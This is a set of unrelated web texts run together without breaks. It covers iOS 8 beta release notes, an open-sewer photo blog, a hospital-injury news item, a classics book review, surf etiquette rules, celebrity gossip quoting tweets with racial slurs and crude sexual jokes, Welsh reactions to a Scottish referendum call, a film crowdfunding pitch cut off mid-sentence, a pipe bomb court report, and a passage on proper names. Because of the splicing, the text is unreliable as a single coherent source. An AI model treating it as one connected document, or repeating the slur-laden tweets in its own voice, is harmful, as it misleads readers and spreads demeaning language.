Lost Mode
Known Issues A device doesn’t display the Lost Mode message in the lock screen if the device was locked at the time it was put into Lost Mode. Workaround: Reboot the device.
After remote wiping a device and logging into the same (@icloud.com) iCloud account, the Lost Mode lock screen is displayed and the device cannot be unlocked.
Mail
Fixed in beta 2 On iPad, trying to add a contact via a Suggestion Banner causes Mail to hang.
Known Issue Sometimes Mail crashes when replying to an email with an attachment.
MapKit
Fixed in beta 2 On iPad, tapping on “Points of Interest” can cause Maps to hang.
MKMapItem called with -[MKMapItem url] that have no URL return “http://(null)” when they should return nil.
Known Issue Taking multiple snapshots using MKMapSnapshotter can sometimes produce a distorted map snapshot.
Media Player
Fixed in beta 2 MediaPlayer.framework - MPVolumeSettingsAlertShow() does not display a volume slider or the AirPlay controller.
Messages
Fixed in beta 2 The string “Location” appears in non-English languages.
Known Issues SMS relay may not work until an iMessage is sent from the device.
The keyboard may cover the predictive text bar if you launch Messages from the App Switcher.
Music
Fixed in beta 2 Radio Redirect links from product pages do not work.
Newsstand
Known Issue Content downloaded via NKAssetDownload doesn’t get returned to the app.
Notifications
Fixed in beta 2 Some app crashes cause Family notifications to stop appearing.
Known Issue User notification custom action buttons don’t show when context is only set to UIUserNotificationActionContextDefault. Workaround: Set the context to both Default and Minimal.
NSURLSession
Note Beginning in iOS 8 beta 2, the NSURLSessionTask class provides a new “priority” property with three associated constants: NSURLSessionTaskPriorityDefault, NSURLSessionTaskPriorityLow, and NSURLSessionTaskPriorityHigh. NSURLSessionTask priorities can be used to specify how multiple requests and responses to the same host should be prioritized. Note that the priority is a hint and not a strict guarantee of NSURLSessionTask performance. For complete usage details of NSURLSessionTask priorities, refer to the NSURLSession.h header file, which is provided by the Foundation framework.
Passbook
Known Issue Passes added on iOS 7 devices won’t appear in iOS 8 devices, and vice versa.
Phone
Fixed in beta 2 Missed calls and recent call info doesn’t always update properly.
Double height status bar does not always dismiss for phone and FaceTime calls.
Sometimes the FaceTime Audio icon appears when FaceTime Audio is not available.
Phone call relay sometimes results in poor audio quality.
Tapping a Maps pin during a call causes a hang.
Known Issues Bringing up a contact card in Mail during a call causes a hang.
Phone call relay uses Bluetooth when it should be using Wi-Fi. Since not all devices have the necessary Bluetooth support, this may fail on some hardware.
Photos
Notes Back up your photo libraries before enabling iCloud Photo Library by: Importing to your Mac using iPhoto Importing to your Mac using Image Capture
Enabling iCloud Photo Library will not add photos/videos that have been synced with iTunes to the cloud.
iPhoto will not launch. You can edit and organize your photos in the Photos app.
Fixed in beta 2 “Save to Camera Roll” button in a Shared stream doesn’t work.
If you turn off iCloud before disabling iCloud Photo Library, synced photos are still present on your device.
When uploading large libraries, users may encounter a stall when syncing.
If you turn on iCloud Photo Library while an iCloud restore is in progress, your initial upload will not happen until the restore completes.
Items deleted from the Recently Deleted album don’t sync to other devices.
Known Issues The ability to automatically optimize device space is not enabled in this beta.
When using iCloud Family, both iCloud Photos and My Photostream are enabled.
After restore from iCloud backup, modified photos may show unmodified thumbnails.
If you reach your iCloud quota, there is no way to add or delete data within the Photos app.
Slow motion clips that have been trimmed sync to other devices as a gray thumbnail.
iCloud Photo downloads stall when a device is idle for a long period of time. Workaround: Sync resumes when the device wakes up.
If both iCloud Photos and Photostream are enabled, duplicate photos are displayed.
iCloud Photo Library does not upload Photos synced from iTunes.
iPhoto for iOS will not launch on iOS 8 Beta. Launching Photos.app will migrate your iPhoto edits to the iOS 8 Photo Library. Make sure your iPhoto for iOS data is included in your device backup.
PhotosUI
Note PHContentEditingController protocol methods may be called on background threads.
Reminders
Known Issue When you select Edit in a list of reminders and then scroll, reminders in the list are no longer editable.
Safari
Note Safari now blocks ads from automatically redirecting to the App Store without user interaction. If you still see the previous behavior, or find legitimate redirection to the App Store to be broken in some way, please file a bug.
You can now quickly add a site to Shared Links or save a bookmark by tapping and holding on the bookmarks button.
Screen Capture
Fixed in beta 2 QuickTime Player X is unable to connect to iPad Air devices for screen capture.
Settings
Fixed in beta 2 Settings sometimes crashes upon addition of a third-party keyboard.
Sometimes Settings shows an iCloud Drive/iCloud Documents incompatibility dialog and will not let you press OK.
The screen brightness slider in Settings does not work.
When signing out of iCloud, the account will actually be signed out, but the UI will not correctly reflect this until the user goes out of iCloud settings and back into it.
iTunes Wi-Fi Sync does not work.
Known Issues You are unable to use the “Forgot Apple ID or Password” dialog on your device. Workaround: Reset passwords from appleid.apple.com.
The username and password fields in iCloud Settings do not display properly.
Setup
Known Issues Updating the iCloud settings screen may appear to hang during setup. Workaround: Some accounts may have an extra long lag. Wait a couple of minutes and they should complete.
Touch ID is not enabled for iPhone unlock if a finger was registered in Setup. Workaround: Enable iPhone Unlock option in Settings > Touch ID & Passcode.
Simulator
Fixed in beta 2 The resizable iPhone does not work.
If a resizable device is being used in iOS Simulator, keyboard input will go to the width and height text fields if they have focus. If you want input to go to the hosted iOS app, you will need to use the Tab key to change focus away from the text field.
Logging into Game Center from the Settings app will result in an error: Unable to connect to server. The operations couldn’t be completed. (Cocoa error 4097.)
Known Issues Apps deployed to CarPlay do not launch or display controls.
Changing keyboards in Settings > General > Keyboard requires you to relaunch your app before the new settings are observed.
If you rename Xcode.app after having previously run it, Simulator stops working. Workaround: Reboot or revert the name change.
The Toggle In-Call Status Bar menu option in the Hardware menu does not work.
You cannot log into an iCloud account in Simulator.
Siri
Known Issues Localized strings for Voice Activation phrases don’t appear in Settings > General > Siri. Voice Activation phrase for each Siri Language: English (US, UK, AU, CA): Hey Siri French (FR, CA, CH): Dis Siri German (DE, CH): Hey Siri German (DE, CH): Hey Siri Italian (IT, CH): Ehi Siri Japanese (JP): Hey Siri Chinese – Cantonese (HK): 喂Siri Chinese – Mandarin (CN, TW): 嘿Siri Spanish (MX, SP, US): Oye Siri Korean (KR): Siri야
If you use Bluetooth to activate Siri and ask what song is playing, Siri fails to identify the song.
After memory pressure events, pressing and holding the home button may launch Voice Control instead of Siri when Siri is enabled (Settings > General > Siri). Workaround: Reboot the device to have Siri activate as expected.
UIKit
Note UILabel has a default value of YES for clipsToBounds. This differs from the normal UIView default of NO.
Fixed in beta 2 UIScrollView contentInset is not set correctly when pushing a navigation controller on a navigation controller in a UISVC.
There is no publicly available way to customize the search key for a UISearchBar.
Known Issues Share sheets sometimes include the “Send to Shared Photostream” item when they should not.
If an app is using a xib as its main window and is launched in landscape iPad, the main window will have the incorrect dimensions, causing significant distortion and difficulty using presented view controllers. An app may have to be force-quit after presenting a system view controller to function again. Workaround: Launch all apps in portrait before rotating to landscape.
WebKit
Notes Subpixel rendering is now on by default for all web content. Websites or in-app web views with extremely tight design constraints may render differently. Solutions for each issue will vary, but use Web Inspector to adjust position, border thickness, and width or height of elements.
In iOS 8.0 beta 2 and later, CSS object model getters (offset{Left|Top|Width|Height} and client{Left|Top|Width|Height}) return fractional double values based on subpixel metrics instead of rounded integral values.
Fixed in beta 2 SecRequestSharedWebCredential and SecAddSharedWebCredential currently only work on device, not in Simulator.
Known Issues Applications that use Apache Cordova/PhoneGap are broken due to a bug that causes the window.navigator.userAgent object to become undefined when window.navigator is replaced by a pure JavaScript wrapper object.
If you pass NULL for the fqdn parameter of SecRequestSharedWebCredential as recommended, only the first domain in the entitlement is used.
Apps that play video in a UIWebView may fail playback.
WidgetsWe have seen the interesting sewerages of Japan Canada & Germany. But that's not the whole world. Here are some pictures of other parts of the world that shows the reality too. Just by closing the eyes the day doesn't turn to night.We did receive a lot of comments when Japanese sewers were posted, some said its like space ship while others said it looks like a sci-fi inspiration gallery, like something out of The Fifth Element, like levels on Halo & all, now lets see what you got to say on these sewers where humans are staying in inhuman conditions. Sewage runs in the streets of Ramadi. In the countryside there is enough space for simple sanitation methods to work well. Lane with open sewer. The photo was taken in Georgetown, Penang Island, Malaysia by Oliver Laumann. In the Dharavi in India, a girl stands by an open sewer. Photo : Stephanie Colvey/CIDA-ACDI. In Karachi, Pakistan, an open sewer running along the lane. Kids playing near an open sewer in PRC Bangkok's canal network is both a transportation system & an open sewer Open sewer running beside the market fruit stalls Bangkok. Open Sewer in Accra. Lots of people share the same toilet, & open sewers run through the streets, Kamwokya in Uganda. Open sewer in Elubo Ghana Market. An open sewer on the outskirts of Basra. An open sewer overflows a walkway in Abidjan, Ivory Coast, in West Africa. An open sewer near Belen's central plaza, Peruvian, Amazon Basin. Open sewers running in residential area in Kinshasa. In I.T capital of India. An open drain in another city ( near Ondipudur) of India. This is an open drain & not a river, Mysore India. This is from Bali. This photo shows an open sewer in the area of Laureano Gomez.Other Posts:ALBUQUERQUE, N.M. — A mother of a preemie in New Mexico is considering taking legal action after a nurse accidentally cut her baby’s toe off.
Little Davante Hogue and his twin brother, Delante, were born prematurely last April — when their mother was only 29 week along the in her pregnancy, KOB reported.
Davante’s mother, Erica, says the baby remains in the hospital due to what the hospital called a brain bleed — where he may never walk, talk, see or hear.
Last month, a nurse at the University of New Mexico Hospital in Albuquerque accidentally severed the baby’s left pinky toe while cutting tape that was holding an IV in his foot.
A surgeon tried to save the toe, but nothing could be done.
“It just makes me angry that something like this could happen,” Hogue said.
Hogue told KOB that the hospital investigated and has apologized.
“For me that is just not enough. I believe my baby is worth so much more than that.” she said.
UNM Hospital tells us that they can’t comment on a specific patient matter, but Hogue tells us that she and her husband are considering legal action.Bryn Mawr Classical Review 2013.11.21
Daniel Ogden, Drakōn: Dragon Myth and Serpent Cult in the Greek and Roman Worlds. Oxford; New York: Oxford University Press, 2013. Pp. xviii, 472. ISBN 9780199557325. $185.00.
Preview
Ogden’s latest book examines the serpents of myth and cult from Homer to hagiography. This is a wide-ranging investigation in which both the monster Typhon and the healing pareias snake of Asklepios find a place, as they and other drakontes are approached through literature, linguistics, and iconography. It is an ambitious project that sometimes falls short of that ambition: the separate threads don’t quite come together, and the nuances of important scholarly arguments are often glossed over in footnotes. It is more encyclopedic than interpretive, in Ogden’s words, a “descriptive handbook” (p. 1). As the first comprehensive work in English on this topic, however, it will be indispensible to anyone working on any aspect of serpents in antiquity.
The introduction defines the core of the study as the drakon, the large, typically fantastical snake at the heart of many mythical battles, which sets it apart from previous scholarship devoted to Greco-Roman dragon-slaying tales that used the fight itself as the organizing principle.1 Although Ogden chooses drakon as his terminological focus, ophis, serpens, and other words are also used almost interchangeably in Greek and Latin. This section would be bolstered by a closer analysis of these terms (pp. 3-4, n. 5, lists some occurrences of drakon in the 5th BC, and Chapter 4 contains some discussion of its etymology). Throughout the book, the use of the italicized drakōn with a long mark suggests a correspondence to the ancient vocabulary that is not always there; as it is used in the title, it is a coined term for a concept set by Ogden. After the book’s purpose and organization is laid out, the Introduction turns to a very brief overview of the Prehistoric, Near Eastern, and wider Indo-European backgrounds.
The eleven chapters that follow fall into three sections—dragon-slaying myths, characteristics of dragons, and serpents in cult—with a concluding chapter on the continuation of dragon myths in Christian thought. Ogden sticks to a tight, thematic organization that will make it easy for readers to find information on a specific topic.
The first three chapters detail the dragon-fights of Greek and Latin literature, and, to a lesser extent, art. Ogden begins with what he calls “pure” drakontes (e.g., Python) before moving on to “composite” creatures, who have one or more anguiform aspects (e.g., Typhon). The third chapter is not about drakontes at all, but kete: sea monsters. Ogden admits that these are almost never called drakontes and later even notes that their iconography differs (p. 337), but he includes them because he finds them so “conceptually close” (p. 116). Choosing to be inclusive certainly brings in a richer body of material to the study. However, by straying from the drakon, it opens the author to the same criticisms he cast at his predecessors, i.e., a preference for themes and motifs over terminology.
These chapters are driven by the ancient sources: the stories are richly documented with reference to Greek and Latin literature, with modern scholarship adding to the footnotes. The topical organization has a drawback as Hesiod, scholiasts, and images on Apulian vases are all cited on equal footing. There is occasional interest in chronological factors (e.g., the discussion of the Hydra notes new images of the creature that arise in the Roman period, p. 30) and almost none in context (e.g., a reference to a farting Lamia in Aristophanes — a comedian — is used uncritically as evidence that she was odoriferous, p. 91). The abundance of source material can be overwhelming and leaves the impression that there was more variety and less commonality across, and even within, the tales.
The next three chapters highlight some of the major features of drakontes and analyze their genealogies. Serpents have a propensity to guard treasure, and commonly share physical traits, such as fiery breath, crests, or beards. A catalogue of many of the main deities and mythological characters associated with snakes includes a few cultic examples, such as Athena’s snake on the Acropolis. Perhaps the most important theme is the one drawn out in Chapter 6, the symmetrical features of drakon battles. Ogden shows that elements in a fight are often mirrored: fire vs. fire, curved objects vs. the curves of the snake’s coils, or even a serpent turned against another of its own kind. These readings of literary battles and imagery could serve as a model to explore other kinds of battles as represented in text or art; I suspect this symmetry is not exclusive to snakes.
The serpents of cult are the subject of the following four chapters. Chapters 7-9 are devoted to the different realms with which these snakes are associated: the earth and death, wealth and luck, and healing. The precise relationship snakes hold with the dead and heroes is difficult to sort out—do they represent the dead in some way, or serve as protectors?—but Ogden concentrates on description over categorization. Chapter 8 covers Zeus’s appearance in the guise of a serpent as Meilichios, Ktesios, and or Philios, an iconography popularized in the 420s BC. Agathos Daimon is examined at length, from his early references in Greek texts to his popularity in Alexandria. The serpents of Roman lararia also make a brief appearance. Deities associated with healing (Asklepios, Hygeia, Amphiaraos, Trophonios) are surveyed in the final chapter along with Glykon, the snake-puppet hoax. The emphasis is on the deities’ physical appearance as snakes, as opposed to their association with them. This chapter concludes with some reasonable speculation about why the snake form might have been so appropriate for healing gods.
Chapter 10 is titled, “A Day in the Life of a Sacred Snake.” The author explores whether there were actual snakes in sanctuaries and, if there were, how they were managed. The evidence is fairly inconclusive, partly because many texts speak of these serpents as present, but not meant to be seen. Ogden uses both ancient and cross-cultural evidence to imagine how serpents might have been kept (if they were kept at all), and looks at modern Mediterranean snake breeds, as well.
Although occasionally an explicit connection is made between the serpents of mythical battles and those of religious experience, a deep division exists between the two sections of the book: it can be hard to see what Typhon and Zeus Meilichios have in common. The final “capstone” chapter goes a little way toward rectifying that divide. It considers the continuation of the dragon fight in Christian literature, which includes “historicized” accounts of shutting down pagan snake cults. A few biblical serpents are discussed before turning to hagiographic literature, primarily of the 2nd-6th centuries AD. For Ogden, the symmetry found in these serpent battles is the linchpin indicating affiliation with the pagan tales. The only iconography mentioned here is that of the later St. George; medieval dragons are depicted so differently from the serpents of Greco-Roman art, and the opportunity to address that shift is unfortunately missed.
This book is richly footnoted and sourced, which will aid those wanting to go deeper into some of the issues that for lack of space get only cursory treatment.2 Much effort is devoted to the summary of what is found in literary and historical sources. Visual evidence is frequently cited, usually accompanied by a helpful reference to LIMC, but the incorporation of material culture is unsatisfactory. Images are regularly treated as separate from, or in addition to, the written sources (most noticeable in the mythological topics), and objects are repeatedly described qualitatively as “very fine” or even “the finest of all” when chosen for special treatment, with little explanation in support of their selection as evidence. Etruscan material is almost unrepresented.
The text is supplemented by an extensive index and is well-edited.3 The writing style is accessible; Greek is almost exclusively kept to footnotes, and background information and plot summary are typically included. Forty-two black and white illustrations also enhance the text. Sixteen of these are drawings of the objects, most by Eriko Ogden. Although these lack the sharpness of the photographs,4 this is a commendable, cost-effective way to increase the images available to the reader. An illustration of the Archinos relief from Oropos would have been a helpful addition, since it is important evidence in Ogden’s arguments about the relationship between snake and god and the snake’s role in healing.
Almost concurrently, Oxford released a second book on snakes by Ogden: Dragons, Serpents, and Slayers in the Classical and Early Christian Worlds: A Sourcebook. Although this is not the place to review it, readers should be aware that it serves as a companion to Drakōn. The sourcebook includes translations of the major dragon texts with a useful guide to the motifs therein. I would recommend as a supplement, since its organization helps clarify many of the connective threads among the material covered in Drakōn.
Drakōn may have its flaws, but it will become the essential resource for any further study of the serpents of the Greek and Roman worlds.
1. Ogden is particularly critical of Joseph Fontenrose, Python: A Study of Delphic Myth and its Origins (Berkeley: University of California Press, 1959) and Calvert Watkins, How to Kill a Dragon: Aspects of Indo-European Poetics (New York/ Oxford: Oxford University Press, 1995).
2. There are a few additions I would make to the bibliography: Kathryn Topper, “Perseus, the Maiden Medusa, and the Imagery of Abduction,” Hesperia 76 (2007): 73-105 belongs in the discussion of the beautiful Medusa (Ogden p. 96); Eleanor Guralnick, “The Chrysapha Relief and its Connections with Egyptian Art,” JEA 60 (1974): 175- 188 is the source of the argument for the Egyptian origins of the bearded snake (not Mitropoulou, Ogden pp. 160-161); and Timothy Gregory, “The Survival of Paganism in Christian Greece: A Critical Essay,” AJP 107 (1986): 229-242 provides an archaeological example of a conversion of an Asklepieion (Ogden pp. 417-425).
3. A few minor errors: Zeus is mistakenly named as the castrator of Uranus (p. 82); in the bibliography, Schulz 2010 should be Schultz (problematic as an actual Schulz is also cited); and the phrase, “Some fragments refer to are illustrated with drakontes,” (p. 354).
4. Some of the missing details are troublesome: fig. 1.7 lacks its painted beard and crest, fig. 4.1 also lacks its beard, and it is impossible to tell where the inscription was located in fig. 8.1 (it should be on the bottom; drawings have the ability to clarify hard-to-read inscriptions, and adding it would have been a nice touch).Perhaps one of the greatest things about the pursuit of surfing is the lack of regimentation. No need to reserve court time, buy a lift ticket, or wait for the ref to show up—just grab your stick and go. Even the act itself is usually pretty loose—no governing body monitoring you and no authority figures telling you what to do. We surf by an informal collection of unspoken/unwritten "rules" that wave riders learn about over time.
The problem with unwritten rules is that they're much harder to learn and far easier to break. As lineups get more crowded and the potential for conflicts rises, it might be a good idea to at least begin to put something in writing.
In some areas, surfers have already taken matters into their own hands and posted a list of rules at their local breaks. In California, for example, you might have noticed unofficial signs fronting several reef and point breaks along the coast. Most of these mini-billboards were posted by locals in the wake of the '90s beginner boom, when unknowing novices began to breach the unwritten rules of the lineup.
On a larger scale, surfer/illustrator Peter Spacek went so far as crafting an informative, humor-infused handbook called "Wetiquette", which, in my mind, should be required reading for every surf school student.
But creating a definitive code of conduct is easier said than done. There are many gray areas in surfing, and, like English grammar, there's no shortage of exceptions, caveats, and contingencies. Take one of the basic assumptions, for example: First surfer up, closest the curl, has the right of way. Seems straightforward enough, right? In practice, however, there are at least two possible exceptions: the notorious back-paddler who surfs out of turn and insidiously drops-in behind you, and the older local who uses seniority to claim wave rights.
Below you will find an amalgamation of rules to surf by, boiled down to a list of guidelines for safely navigating crowded lineups. It's by no means the definitive guide to surf etiquette, but it's a jumping off point. Leave your own tips to improve this list in the comments below.
1) Always study the lineup before you paddle out. If the conditions are beyond your abilities, go somewhere else or surf another day.
2) Whenever possible, paddle around the lineup, not through it.
3) Beginners/novices should stay off-to-the-side of the crowd, observe, and only attempt to catch waves that pass through unridden.
4) If a collision between a paddler and a rider looks imminent, paddlers should "keep their line" and let the rider be the one to take evasive action.
5) Try your best not to be a wave hog – wait your turn, and avoid the temptation to back paddle ('cutting in line' by paddling around a surfer and dropping in behind).
6) Unless the threat of injury is a distinct possibility, never ditch (abandon) your board.
7) Unless previously agreed to, it's one surfer per wave, or two surfers per two-way peak.
8) In general, first surfer up, closest to the curl, has the right of way.
9) If you inadvertently drop-in on someone, immediately and safely exit the wave.
10) If you lose your board, you are responsible for it. This includes any surfboard damage or injury that may result.
11) Don’t be a dick. Apologize if you drop-in on someone. Explain firmly yet kindly when an unknowing novice breaches etiquette. Do your best to share. Help other surfers in trouble. Always pick up your trash.
Original artwork by Peter Spacek for Wetiquette, available here2.1k SHARES Share Tweet
The reactions are savage.
Footage shows NBA getting his man parts groped by overzealous fans while his girl looks on. He seems to allow it, even stepping a little closer and watching as it happens.
His apparent girlfriend stands next to him, seemingly watching as well, but doing nothing until he whispers to her. She then snaps on the girls, but not on him.
You tripping jania baby CHECK YO NIGGA FIRST, he allowing that shit to happen pic.twitter.com/Kp2yY1fkXl — windy (@tinkamarieee) November 20, 2017
Fans reacted to the video with some claiming he didn’t react to avoid what happened to Keyin Gates, who kicked a fan for doing the same. Others claim he liked it, hence his reaction. Others knocked his girlfriend for letting it happen and not checking him too.
Fans put in their two cents:
Nigga stuck that bitch out so the girl touching it can get a better feel 😩🤣😂 — Mya 👑 (@tamyaaah) November 20, 2017
it really look like she was watching them do it, baby girl you standing right next to him and he keep moving forward watching them do it. i know you saw them. it was clear as day. you wanna act crazy after about 4 people touched him. SIS i’m disappointed 🤦🏾♀️ — di. (@lovedionda) November 20, 2017
NBA is a sexual assault victim.. Lets not start victim blaming. Maybe he didn’t move because he was afraid of confrontation.. 😂😂 — R.G. (@RG803) November 20, 2017
Flip for more:
Pages: 1 2Carwyn Jones believes the UK nations are "stronger together than apart", a spokesman has said, as Scotland's first minister calls for a second referendum on independence.
Nicola Sturgeon said it was needed to protect Scottish interests over Brexit.
Plaid Cymru's Leanne Wood said a hard Brexit would prompt Welsh calls for "greater control of our own affairs".
Welsh Tory leader Andrew RT Davies claimed Ms Sturgeon was putting her party's interests ahead of Scotland's.
In 2014, Scottish voters rejected independence by a 55% to 45% margin, but Ms Sturgeon said on Monday that the UK vote to leave the EU had changed the situation.
As a majority of Scots voted to remain in the EU, she said they should be offered the choice between the prospect of a hard Brexit - outside the single market - and independence.
Ms Sturgeon wanted to see such a poll take place between autumn 2018 and spring 2019.
Prime Minister Theresa May said a second independence referendum would set Scotland on course for "uncertainty and division" and insisted the majority of people in Scotland did not want another vote on the issue.
Image caption Carwyn Jones meeting Nicola Sturgeon at her offices in Edinburgh
A spokesman for Mr Jones said: "The constitutional future of Scotland is a matter for the people of Scotland.
"However the First Minister is clear that the four nations of the UK are stronger together than apart."
Plaid Cymru leader Leanne Wood said the stakes for Wales "could not be any higher", as the prime minister prepares to trigger the Article 50 process for Brexit.
Her party has called for continued access to the single market.
"Any failure by the UK Government to recognise Scotland's interests could lead to the end of the UK as a state," Ms Wood said.
"In that situation, Wales would need to decide its own future."
Media playback is unsupported on your device Media caption Leanne Wood calls for national debate on Wales' future
She added: "Plaid Cymru believes that decisions about Wales are best made in Wales and the way in which this hard Brexit is being pursued highlights exactly why.
"If the UK Government's Brexit negotiation also leads to the Welsh national interest being overlooked, support will grow for greater control of our own affairs in Wales."
Welsh Conservative leader Andrew RT Davies said: "Despite her assertions that she is speaking in the interests of the Scottish public, Nicola Sturgeon is in reality speaking in the interests of the SNP.
"Like their fellow nationalists Plaid Cymru, the SNP only want one thing: independence.
"Everything they say or do is to that end - this despite the majority of people saying time and time again that they do not want a return to the brutal divisions of a referendum.
"It's time that the SNP put the national interest ahead of their own nationalist interest, and started delivering for the Scottish people."
However, UKIP's leader in the assembly Neil Hamilton said: "We welcome a referendum on Scottish independence.
"It is never wrong to consult the people. I give Nicola Sturgeon my wholehearted support in having another referendum in order to put this issue to bed once and for all.
"I also challenge Leanne Wood to call for a referendum on Welsh independence.
"This would show how little support Plaid Cymru have for their policy of being ruled from Brussels, and not by Cardiff/Westminster."
Analysis by Nick Servini, BBC Wales political editor
Get ready for the constitutional arguments to be dusted down as another attempt is set to be made to take Scotland into independence.
The concerns from many about the loss of influence for Wales if Scotland leaves the UK will not have disappeared but the context is now so different than in 2014.
The Brexit process will set the terms of the debate, and for the SNP government in Holyrood that is exactly the point.
While Plaid Cymru in Wales say Nicola Sturgeon's comments should spark a national debate about the country's future, opponents will say that debate was settled in the Brexit referendum when the Leave vote in Wales virtually mirrored that in England.
If we did not know before, the break-up of the UK is now firmly on the agenda as the Prime Minister prepares to trigger the official Brexit negotiations.Making movies has a pretty hefty price tag, even on a low budget. I'm putting my own money into this project, but we still need help to make it cinematic enough for the festival circuit. Luckily, through the generous fiscal sponsorship of the Midwest Independent Film Festival, all donations to our project are tax deductible.
Our team has a lot of experience stretching low budgets while delivering the look and quality people have come to expect from the theater. My producing reel demonstrates the quality that can be achieved with micro budgets nowadays. This is a compilation of many movies I've produced around our budget level.
OUR PRODUCTION REEL
Our project is fortunate enough to be sponsored by the Midwest Independent Film Festival, a non-profit that is the nation's only year round film festival solely dedicated to the Midwest filmmaker. This means, all donations to our project are TAX DEDUCTIBLE donations that can be written off at the end of the tax year. It also gives us many inroads to the festival circuit upon completion of our campaign.
SO WHERE IS YOUR MONEY GOING?
Any amount pledged will go to both Production (shooting the film) and Post-Production (editing, effects, and music). I'm not making a dime, and many of our crew members are volunteering their time and resources. Despite this, there are many hard numbers that have to be addressed on a film like this.
Location costs
Equipment rentals
Insurance
Feeding cast and crew
Props and Costumes
Visual effects
Color timing session
Sound mix
Scoring the film
All the money we raise will go up on the screen, to producing the highest quality film we can make. If we don't hit our $13,200 target, you don't get charged. You only pay your pledge amount if we reach our goal... so let's work together to reach it. Did I mention we're tax deductible...
BEYOND OUR GOAL
Our funding goal of $13,200 is the minimum to get the movie made with a professional polish. However, should we exceed our goal, any additional funding will go towards more amazing clone effects, flying cars, bigger and better locations, custom costumes, and compensation for the hard working crew that volunteered their time.
Here's what our Stretch Goals would get us:
$16,000 -
Even better world building with custom sets and props
Additional visual effects funds
Additional production design funds (the design of environments)
$20,000 -
All the above
An extra day of filming for additional scenes to build out the world
Custom Costumes for our character
$25,000 and beyond
All the Above
Motion Control Rig to have complex shots moving shots with Clones
Extra Visual Effects through Hollywood artists
WHO ARE WE?
Sean Miller - DIRECTOR
Sean has always been drawn to stories that create new |
application was refused after she refused to wear an electronic tag
A woman accused of trying to kill a police officer in a pipe bomb attack declared herself "at war with the police" on Facebook, a court has heard.
Christine Connor and co-accused Stuart Downes are both facing trial on charges linked to the Belfast attack last year.
Ms Connor is charged with attempted murder after pipe bombs were thrown at a police car in May 2013, leaving at least one officer shaken but unhurt.
Mr Downes, of Ryton Close, Shrewsbury, is charged with aiding and abetting.
Ms Connor is also accused of possessing improvised explosives with intent to endanger life, causing an explosion likely to endanger life, and preparation of a terrorist act.
The 29-year-old defendant lives in north Belfast, but her full address cannot be disclosed due to reporting restrictions.
'Dissident republican links'
Following a preliminary inquiry hearing at Belfast Magistrates' Court, a judge ruled that both defendants have a case to answer over the pipe bomb attack in Ballysillan.
Mr Downes, 30, was returned for Crown Court trial on continuing bail while Ms Connor was ordered to remain in custody.
She has now spent more than a year and a half in custody ahead of her trial, and her defence team returned to court on Wednesday to ask that she also be released on bail.
However, prosecutors claimed Ms Connor has strong dissident republican links and recruited a man with no previous known allegiances to take part in the alleged murder plot.
When she was originally charged, Ms Connor had refused to stand in the dock as the offences were put to her.
Prosecution counsel set out how her release was blocked earlier this year because she objected to wearing an electronic tag.
'Bullet in post'
During the renewed bail application, the court heard claims Ms Connor could commit further offences.
The prosecutor said: "There's a number of Facebook conversations with this applicant saying she is at war with the police."
He added: "She recruited another person, Mr Downes, a person with no previous terrorist links or even republican sympathies, to become involved in this case."
The prosecution also revealed that detectives fear her co-accused could be at risk.
"There was a bullet posted to him one month ago. That was intercepted by police," the lawyer said.
"That appears to be a veiled threat to Mr Downes."
'Unfairly imposed'
However, Ms Connor's defence barrister said it was the first time any bullet had been mentioned.
He accepted his client had previously refused to wear a tag, claiming she had felt the condition to have been unfairly imposed on her alone.
When the barrister pointed out Ms Connor has already spent more than a year and a half in custody, the judge questioned whether the accused would comply with release terms.
He said: "What confidence can I have in somebody who could not even stand when asked by the court clerk?"
Refusing bail, the judge ruled that nothing had changed since her earlier objection to being electronically monitored.It is possible to refer to the same entity, for example, a river, in two distinct ways: (1) “The Colorado is a beautiful river” and (2) “The river that flows through Austin is beautiful.” Because there is only one river that flows through Austin, Texas, the subject of sentence 2 is unambiguously identified, and the reference of the sentence is fully individual. The subject of sentence 2, however, is not a name but rather a nominal (noun) phrase that specifies one member of the whole class of rivers by indicating a unique property of it. The word Colorado in sentence 1, on the other hand, is a name because it directly points to the specific river. The fact that there is more than one river called Colorado, and that more specific information is sometimes needed to identify the one being discussed (e.g., “I prefer the Texan Colorado to the California one”), does not change the status of Colorado as a name, because each of the two rivers is referred to in the way required by the definition.
The distinction between names and appellatives (common nouns) is generally clear: names are used in individual reference, and appellatives can be used in reference to all members of a class or to any number of them (e.g., river, hill, man, girl, car, table, virtue, and so on). Nevertheless, there are some borderline cases. For instance, a nation can be conceived as an individualized entity, so that “Americans,” “Englishmen,” and “Spaniards” are names; on the other hand, it is clear that other groups of people are not conceived in this way, so that expressions like “soldiers,” “sailors,” and “clergy” are not names. It is difficult to decide on the status of expressions like “the Baptists,” “Adventists,” and “spiritists.” In a similar way, if all vehicles produced by Henry Ford are Fords and if one can buy an individual Ford as well, is Ford a name? It probably is, or approaches that status, but names of this type frequently lose the character of names and develop into common nouns. Expressions like “the Roman Catholic Church” and “the Ministry of Education” (of a specific state) also have a dubious position as to their status as real names. The uncertainty in this respect is indicated by the vacillation in the use of capital letters in various languages. This overlapping has a long history and is reflected in modern terminology. The Greeks used the term “noun” (onoma) for both the common noun and the name; when they wished to make a distinction, they specified the name as a proper noun (onoma kyrion). It is in this tradition that the term proper noun, or proper name, is used for a name, and noun, general noun, or common noun is used for an appellative.
In some languages, a name is differentiated from an appellative (common noun) by formal means. The difference is sometimes indicated by the script; e.g., languages using alphabets such as the Latin, Greek, Cyrillic, Armenian, and Georgian use a capital letter at the beginning of a name. (But, on the contrary, in German all nouns, not only names, are written with an initial capital.) There are examples of a purely grammatical differentiation of names as well, such as the usual absence of the articles a or an in English—e.g., “Yesterday I saw an archer practicing his art” and “Yesterday I saw (Bill) Archer practicing his art.”
A general appellative (i.e., a common noun) capable of being used in reference to a whole class of entities can also be used with an individual reference. For instance, if an inhabitant of Austin, Texas, says, “Let’s go swimming today, not in the pool but in the river,” there is no doubt that the word river has a unique, individual reference to one single river—namely, the Colorado. This fact, however, does not make a name out of it; river is here a common noun, but its reference is specified by the extralinguistic context of the situation in which the sentence was said. Some names seem to belong more to the category of appellatives than to the category of names like Colorado in “the Colorado River.” For example, names like Big River, Red River, Stony Brook, and Cedar Hill may have their origin in a specific use of a general noun. If a sentence like “After five days of marching, we had to cross a river, the big one, not one of the smaller ones” is used very often, the name Big River may result. Such names are more frequently given as directly descriptive names. The similarity of names of this type with expressions like those exemplified in sentence 2 above is deceptive. There is, after all, more than one big river, so the specification “the big river” is not complete. The full identification of one single river as the reference is given by the context. Therefore, apart from certain special expressions (like “the big one, not one of the smaller ones”), names like Big River, Red River, and so on have the same status as names like Colorado.
